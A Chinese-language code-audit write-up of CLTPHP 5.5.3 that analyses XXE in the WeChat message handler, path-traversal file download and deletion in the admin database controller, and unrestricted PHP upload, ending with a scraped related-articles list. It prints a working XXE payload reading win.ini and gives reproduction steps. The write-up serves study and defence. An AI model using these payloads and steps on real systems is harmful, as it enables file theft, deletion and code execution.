PHP代码审计17—CLTPHP代码审计
文章目录
- 一、系统架构分析
- 1、系统目录结构
- 2、系统路由
- 3、系统配置
- 4、系统参数获取与过滤
- 二、Xml外部实体注入分析
- 1、漏洞分析
- 2、Payload分析
- 三、任意文件删除与下载
- 1、黑盒测试
- 2、源码分析
- 四、任意文件上传
- 1、黑盒测试
- 2、代码分析
- 五、参考资料
前言:
- 审计系统:CLTPHP 5.5.3
- 审计环境:ph5.6.9+apache2.4.9+mysql5.7
一、系统架构分析
1、系统目录结构
/app //系统程序所在目录common //公共模块model_name //home模块目录common.php //模块函数文件contraller //控制器目录model //模型目录view //视图目录
/extend //拓展程序所在目录
/plugins //系统插件所在目录
/public //公开文件所在目录,包括html、js、图片等
/runtime //运行目录
/think //thinkphp框架目录
/vender //thinkphp 依赖环境目录
/index.php //系统入口文件
2、系统路由
前台路由文件:app/foute.php
return ['__pattern__' => ['name' => '\w+','id' => '\d+','catId' => '\d+',],'[hello]' => [':id' => ['home/hello', ['method' => 'get'], ['id' => '\d+']],':name' => ['home/hello', ['method' => 'post']],],'index' => 'home/index/index', //index路由到homemo模块的index控制器'news/:catId' => 'home/news/index', //news/$id 路由到home模块的news控制器'newsInfo/:id/:catId' => 'home/news/info', //newsInfo路由到home模块的news控制器的info()方法'about/:catId' => 'home/about/index','system/:catId' => 'home/system/index','services/:catId' => 'home/services/index','servicesInfo/:id/:catId' => 'home/services/info','team/:catId' => 'home/team/index','contact/:catId' => 'home/contact/index',
];
3、系统配置
系统配置文件:app/config.php
部分配置:
// 默认模块名'default_module' => 'home',// 禁止访问模块'deny_module_list' => ['common'],// 默认控制器名'default_controller' => 'Index',// 默认操作名'default_action' => 'index',// 默认验证器'default_validate' => '',// 默认的空控制器名'empty_controller' => 'EmptyController',
//应用命名空间// 默认全局过滤方法 用逗号分隔多个'default_filter' => '',// 默认语言'default_lang' => 'zh-cn',// 应用类库后缀'class_suffix' => false,// 控制器类后缀'controller_suffix' => false,
// 视图输出字符串内容替换'view_replace_str' => ['__PUBLIC__' => __PUBLIC__,//public目录的全局变量,在/public/home.php中定义'__STATIC__' =>__PUBLIC__.'/static','__UPLOAD__' =>__PUBLIC__.'/uploads','__ADMIN__' => __PUBLIC__.'/static/admin','__HOME__' => __PUBLIC__.'/static/home',],
4、系统参数获取与过滤
原始全局变量获取:$_POST
,$_GET
,$_REQUEST
$request对象获取:post(),get(),input()。
原始变量获取:
GET示例: index.php?id=123'<>" die($_GET[id]) // result: 123'<>"
POST示例: index.php ,post_data: id=123<>'"die($_POST[id]) // result: 123<>'"
request示例:index.php ,post_data: id=123<>'"die($_REQUEST[id]) // result: 123<>'"
可见,对于原始的post、get等获取变量的方式,并没有使用全局变量过滤的方法进行安全防御。
$request对象获取变量:
POST示例: admin/ad/add POST_data:123<>'"var_dump(input('post.')) // 'id' => string '123<>'"' (length=7)
GET示例: admin/ad/add?id=123<>'"var_dump(input('get.')) // 'id' => string '123<>'"' (length=7)
可见,通过request对象的助手函数input方法获取的参数也同样不会经过全局过滤。所以存在一定的安全风险。
二、Xml外部实体注入分析
1、漏洞分析
首先我们通过simplexml_load_string()函数定位到中:app\wcaht\controller\Wchat.php的getMessage()方法:
public function getMessage(){$from_xml = file_get_contents('php://input'); //通过php://input伪协议读取POSt内容if (empty($from_xml)) { return; }$signature = input('msg_signature', '');$signature = input('timestamp', '');$nonce = input('nonce', '');$url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];$ticket_xml = $from_xml; //将POST读取的内容赋值到$ticket_xml$postObj = simplexml_load_string($ticket_xml, 'SimpleXMLElement', LIBXML_NOCDATA); //使用simplexml_load_string 解析XML内容,存入$POSTobj中$this->instance_id = 0;if (!empty($postObj->MsgType)) {switch ($postObj->MsgType) {case "text"://用户发的消息 存入表中//$this->addUserMessage((string)$postObj->FromUserName, (string) $postObj->Content, (string) $postObj->MsgType);$resultStr = $this->MsgTypeText($postObj);//调用msgtype解析XML 对象break;case "event":$resultStr = $this->MsgTypeEvent($postObj);break;default:$resultStr = "";break;}}if (!empty($resultStr)) {echo $resultStr;} else {echo '';}}
可见,在这里通过php伪协议获取了出入的内容,并且使用了simplexml_load_string()函数将其转转换Wie了XML对象,并且更具msgtype的不同调用了MsgTypeText()和MsgTypeEven函数处理该XML对象。先跟如MsgTypeTex()函数看看(app/wchat/controller/wchat.php):
private function MsgTypeText($postObj){$funcFlag = 0; // 星标$wchat_replay = $this->wchat->getWhatReplay($this->instance_id, (string)$postObj->Content); //将XML对象的内容获取到,并保存到数组中。// 判断用户输入textif (!empty($wchat_replay)) { // 关键词匹配回复$contentStr = $wchat_replay; // 构造media数据并返回} elseif ($postObj->Content == "uu") {$contentStr = "shopId:" . $this->instance_id;} elseif ($postObj->Content == "TESTCOMPONENT_MSG_TYPE_TEXT") {$contentStr = "TESTCOMPONENT_MSG_TYPE_TEXT_callback"; // 微店插件功能 关键词,预留口} elseif (strpos($postObj->Content, "QUERY_AUTH_CODE") !== false) {$get_str = str_replace("QUERY_AUTH_CODE:", "", $postObj->Content);$contentStr = $get_str . "_from_api"; // 微店插件功能 关键词,预留口} else {$content = $this->wchat->getDefaultReplay($this->instance_id);if (!empty($content)) {$contentStr = $content;} else {$contentStr = '欢迎!';}}if (is_array($contentStr)) { //调用event_key_news()处理XML对象和$contentStr$resultStr = $this->wchat->event_key_news($postObj, $contentStr);} elseif (!empty($contentStr)) {$resultStr = $this->wchat->event_key_text($postObj, $contentStr);} else {$resultStr = '';}return $resultStr;}
可以看在这里,进行回复消息处理,然后判断contentstr是否是数组,如果是则调用event_key_news()函数,如果不是则调用event_key_text()函数处理。先跟进event_key_news()函数(extend/dlt/WchatOauth.php):
public function event_key_news($postObj, $arr_item, $funcFlag = 0){// 首条标题28字,其他标题39字if (! is_array($arr_item)) { return;}$itemTpl = "<item><Title><![CDATA[%s]]></Title><Description><![CDATA[%s]]></Description><PicUrl><![CDATA[%s]]></PicUrl><Url><![CDATA[%s]]></Url></item>";$item_str = "";//获取回复内容,输出到$item_strforeach ($arr_item as $item) {$item_str .= sprintf($itemTpl, $item['Title'], $item['Description'], $item['PicUrl'], $item['Url']);}$newsTpl = "<xml><ToUserName><![CDATA[%s]]></ToUserName><FromUserName><![CDATA[%s]]></FromUserName><CreateTime>%s</CreateTime><MsgType><![CDATA[news]]></MsgType><Content><![CDATA[]]></Content><ArticleCount>%s</ArticleCount><Articles>$item_str</Articles><FuncFlag>%s</FuncFlag></xml>";//通过sprintf函数返回6个节点,其中ToUserName、FromUserName来自于我们传入的XML文档,所以可控。所以也就能通过FromUserName或者ToUserName够构造paylaod来读取文件或者执行命令。$resultStr = sprintf($newsTpl, $postObj->FromUserName, $postObj->ToUserName, time(), count($arr_item), $funcFlag);return $resultStr;}
2、Payload分析
这里使用下面这个paylaod:
<?xml version="1.0" encoding="utf-8"?>
//构造XML实体,读取系统文件
<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
<root><MsgType>text</MsgType> //构造msgType为text,使其调用MsgTypeText()函数<ToUserName>&xxe; </ToUserName> //通过ToUserName代用XML实体&XXE,也可以使用FromUserName
</root>
如果要进行复现,就只需要访问我们的的/wchat/Wchat/getMessage,然后使用POST方式提交我们的payload即可。
三、任意文件删除与下载
1、黑盒测试
任意文件下载:
首先我们进入后台,找到数据库管理模块,先备份一个数据库文件,然后进入还原数据库选项:
在这里就可以进行文件的下载与删除,我们先进行文件下载,抓包后观察数据包,发现是通过传入文件名的方式下载的文件:
我们将文件名修改为系统文件,并使用目录穿越符穿越到根目录下然后发动数据包,发现成功下载了系统的ini文件,说明存在任意文件下载漏洞。
任意文件删除:
这里我们还是先抓包,发现依然使用的传输文件名的方式来进行删除:
我们还是修改文件名为系统中的任意文件,比如win.ini:
可以看到,根据提示,我们已经成功删除了。然后我们在使用任意文件下载来验证一下,是否确实已经删除了:
可见,提示文件不存在,说明文件确实已经被删除了。
2、源码分析
任意文件下载:
根据黑盒测试的URL,可以知道,任意文件下载的漏洞点在/admin模块,database控制器下的downfile()函数中。
public function downFile() {$file = $this->request->param('file'); //获取file名,通过测试我们知道,这里并不会对目录穿越符进行过滤。$type = $this->request->param('type');if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {$this->error("下载地址不存在");}//拼接文件的路径+问价名$path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);$filePath = $path[$type] . $file;if (!file_exists($filePath)) { //判断文件是否存在$this->error("该文件不存在,可能是被删除");}$filename = basename($filePath); //获取文件的基本路径header("Content-type: application/octet-stream");header('Content-Disposition: attachment; filename="' . $filename . '"');header("Content-Length: " . filesize($filePath)); /readfile($filePath); //读取文件进行输出}
可以看到,这里对我们传入的文件名并没有进行任何的过滤,就直接将文件名拼接到了文件路径中吗,导致了任意文件下载漏洞。
任意文件删除:
漏洞点:/admin模块,database控制器下的delSqlFiles()函数
public function delSqlFiles() { $batchFlag = input('param.batchFlag', 0, 'intval');//批量删除if ($batchFlag) {$files = input('key', array());}else {$files[] = input('sqlfilename' , ''); //获取文件名,可以有多个}if (empty($files)) {$result['msg'] = '请选择要删除的sql文件!';$result['code'] = 0;return $result;}foreach ($files as $file) { //直接将文件名拼接到路径中,然后使用unlink函数循环删除file数组中的文件名。$a = unlink($this->datadir.'/' . $file);}if($a){$result['msg'] = '删除成功!';$result['url'] = url('restore');$result['code'] = 1;return $result;}else{$result['msg'] = '删除失败!';$result['code'] = 0;return $result;}}
可见,漏洞原因也是未经过任何过滤就将文件名拼接到文件路径中,导致了任意文件删除漏洞。
四、任意文件上传
1、黑盒测试
我们进入会员中心,然后上传一个图片之后抓包:
修改文件名和文件内容如下图:
提示上传成功,我们访问一下该文件:public/upload/20220819/ae022e7c463afa05ea2dde9a4825270d.php
可见成功的上传并执行了phpinfo()。说明漏洞存在。
2、代码分析
我们进入漏洞点:app/user/controller/upFiles.php文件的upload函数:
public function upload(){// 获取上传文件表单字段名$fileKey = array_keys(request()->file());// 获取表单上传的第一个文件$file = request()->file($fileKey['0']);// 移动到框架应用根目录/public/uploads/ 目录下$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');if($info){$result['code'] = 1;$result['info'] = '图片上传成功!';$path=str_replace('\\','/',$info->getSaveName());$result['url'] = '/uploads/'. $path;return $result;}else{// 上传失败获取错误信息$result['code'] =0;$result['info'] = '图片上传失败!';$result['url'] = '';return $result;}}
可见,这里直接获取了文件明和文件函数,然后使用了move函数(/think/libray/think/file.php)对文件进行移动。我们跟入看看:
public function move($path, $savename = true, $replace = true){// 文件上传失败,捕获错误代码if (!empty($this->info['error'])) {$this->error($this->info['error']);return false;}// 检测合法性if (!$this->isValid()) {$this->error = '非法上传文件';return false;}// 验证上传if (!$this->check()) {return false;}$path = rtrim($path, DS) . DS;// 文件保存命名规则$saveName = $this->buildSaveName($savename);$filename = $path . $saveName;// 检测目录if (false === $this->checkPath(dirname($filename))) {return false;}/* 不覆盖同名文件 */if (!$replace && is_file($filename)) {$this->error = '存在同名文件' . $filename;return false;}/* 移动文件 */if ($this->isTest) {rename($this->filename, $filename);} elseif (!move_uploaded_file($this->filename, $filename)) {$this->error = '文件上传保存错误!';return false;}// 返回 File对象实例$file = new self($filename);$file->setSaveName($saveName);$file->setUploadInfo($this->info);return $file;}
可以看到,这里调用了isValid()函数无文件进行了合法性检测,我们继续跟入:
public function isValid(){if ($this->isTest) {return is_file($this->filename); //检测是否是文件}return is_uploaded_file($this->filename); //是否是通过http POST上传的,是则返回true}
可见这里之间检测了是否是文件,并没有检测文件的内容一节文件后缀。
然后在 move函数中对文件名进行了重命名,并检测了文件是名否已经存在等,最后将文件保存到的public目录下。
所以可以看到,这里并没有对文件上传操作进行任何的安全检测,导致了任意文件长传。
五、参考资料
- CLTPHP XXE漏洞代码审计
PHP代码审计17—CLTPHP代码审计相关推荐
- php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2
第 35 课 代码审计实例之任意文件上传 课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. ...
- PHP代码审计18—PHP代码审计小结
文章目录 一.前期准备 1.工具准备 2.审计环境准备 二.了解系统架构 1.使用了开发框架 1) ThinkPHP框架 2) laravel框架 2.没使用开发框架 三.参数过滤分析 1.MVC模式 ...
- 常见代码审计工具,代码审计为什么不能只用工具?
代码审计是一种发现程序漏洞,安全分析为目标的程序源码分析方式.今天主要分享的是几款常用的代码审计工具,以及代码审计工具有哪些优缺点? 代码审计工具 seay代码审计工具,是一款开源的利用C#开发的一款 ...
- 【代码审计】那些代码审计的思路.md
前言 代码审计工具的实现都是基于代码审计经验开发出来用于优化工作效率的工具,我们要学好代码审计就必须要熟悉代码审计的思路.而且代码审计是基于PHP语言基础上学习的,学习代码审计最基本的要求就是能读懂代 ...
- 【代码审计】--- php代码审计方法
代码审计需要掌握的点 PHP编程语言的特性和基础 Web前端编程基础 漏洞形成原理 代码审计思路 不同系统.中间件之间的特性差异 代码审计思路 方法一 ---- 检查敏感函数的参数,然后回溯变量,判断 ...
- 【代码审计篇】 代码审计工具Fortify基本用法详解
文章目录 前言 一.工具介绍 二.安装过程 三.升级中文规则库 四.代码审计过程 五.代码审计结果 六.中文乱码解决 前言 本篇文章讲解代码审计工具Fortify的基本用法,感兴趣的小伙伴可以研究学习 ...
- python项目代码审计_Python 安全 -代码审计
Python 安全 -代码审计 杀戮 (有事请 at 大号园长) | 2014-12-02 12:23 这次来讲关于自动化审计方面的. OpenStack 团队出品过一个Python代码审计工具叫ba ...
- lamp安全审计之php代码审计_paper,PHP实战开发及代码审计之PHP代码审计
{getUnitName} {getLessonName} 敬请期待 免费 {getTaskName} 剩余观看时长:{watchLimitRemaining} 回放 {activityStartTi ...
- php代码审计zhuru,[php 代码审计]Espcms 暴力注入
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 闲生寄别 落野彷徨云翳月,昏鸦倦鸟归缠绵 春风不晓霜林晚,但觉人间白发生 芸芸求索 ...
最新文章
- 170222、使用Spring Session和Redis解决分布式Session跨域共享问题
- nginx搭建rtmp协议流媒体服务器总结
- 【剑指offer-Java版】08旋转数组的最小数字
- 把视频玩出花的快手来到CVPR ,解密背后AI能力,落地空间有多大?
- 管道过滤模式 大数据_大数据管道配方
- 一文教你如何使用 MongoDB 和 HATEOAS 创建 REST Web 服务
- android搭建opencv开发环境,Android Studio搭建opencv开发环境
- int转为string类型方法
- htm怎么让图片和搜索框在同一行_对于优化来说,内链应该怎么使用你知道吗?...
- POJ3714 Raid 分治/K-D Tree
- 计算机主机前耳机没声音,机箱前耳机接口没声音怎么办【解决方法】
- 自定义词库扩展和停止
- 如何修改背景图片大小
- python基础之排列组合以及正则表达式
- 7、mysql的redo log、bin log日志
- 堆溢出-unlink
- 马尔科夫链细致平衡条件
- 我的人生哲学(三十六岁版)
- 阿里达摩院获KDD 2022最佳论文,国内企业首次获奖
- RESTful服务 安全
热门文章
- Logistic函数求导
- 为什么使用基于KVM的VPS服务器?
- 高级软件工程作业2-1
- 安装VMware,创建虚拟化服务器,配置虚拟化服务器网络,linux安装Mysql
- 廖雪峰Python学习笔记
- mysql服务启动报错1607
- Redis的八大数据类型
- 实景导览 java_国内首个“AR智能导览“景区来了。
- Non-terminating decimal expansion; no exact representable decimal result。
- 论文阅读”Multigraph Fusion for Dynamic Graph Convolutional Network“(TNNLS2022)